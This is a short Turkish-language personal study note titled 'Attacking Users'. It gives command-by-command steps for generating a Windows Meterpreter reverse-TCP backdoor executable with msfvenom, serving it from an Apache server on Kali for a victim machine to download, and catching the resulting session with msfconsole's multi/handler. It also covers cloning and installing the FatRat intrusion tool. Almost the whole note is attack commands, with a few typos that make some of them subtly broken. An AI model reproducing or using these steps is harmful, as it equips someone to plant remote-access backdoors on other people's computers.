👥

Kullanıcılara Saldırmak

msfvenom ile backdoor oluşturmak

> ***platform/type/protocol***
>
> platform:windows,ios,android...
> type:shell,meterpreter,dllinject...
> protocol:reverse&bind,http,https..

- `msfvenom —payload windows/meterpreter/reverse_tcp —list-options` komutu ile çalıştırılır.
- `msfvenom —payload windows/meterpreter/reverse_tcp LHOST:<kali ip adres> LPORT:8080(değişebilir,4545,4242..) —format exe —out backdoor.exe` komutu çalıştırılır ve exe uzantılı dosya oluşturulur.

exe dosyasını kurban makineye gönderme

- Kali makinemizi bir sunucu olarak kullanabiliriz.Öncelikle ***file system>var>www>html kısmına gidip(root olarak***) orada bir klasör açarız.Örneğin backdoor gibi.Sonrasında exe dosyamızı buraya taşırız.
- `service apache2 start` komutuyla sunucu terminalden başlatılır.(yerel ağda)
- Sonrasında ip adres ile windows makinesinde exe dosyasının olduğu site açılır ve dosya indirilir.

msfconsole işlemleri

- **msfconsole** çalıştırılır.
- `use exploit/multi/handler` komutu çalıştırılır.

- `set payload windows/meterpreter/reverse_tcp` komutuyla da payload ayarlanabilir.
- Bu payload çalışmazsa başka bir backdoor oluşturulup tekrar bir payload ayarlanır.
- Sonrasında gerekli LHOST ayarı yapılır→ `set LHSOT <ip adres>`
- `set LPORT 8080` (backdoor oluştururken kullanılan port) ile port ayarlanır.
- `exploit -j -z` ile çalıştırılır.
- Sonrasında kurban makinede backdoor dosyası çalıştırılması halinde session oluşur.

FatRat

> Karşı cihaza sızmak için kullanılan bir tooldur.

- ***github*** adresinden proje klonlanır.
- `git clone` `https://github.com/StreetSec/FatRat.git`
- Yükleme işleminden sonra `cd FatRat` komutuyla klasöre girilir.
- `sudo bash setup.sh` komutuyla kurulum yapılır.
- **fatrat** yazarak çalıştırılabilir.

⚠️ Kalan çalıştırma işlemleri not edilmemiştir.Terminalden ekrana gelen adımlarla çalıştırılabilir.

🖋**Ömer Faruk Baysal**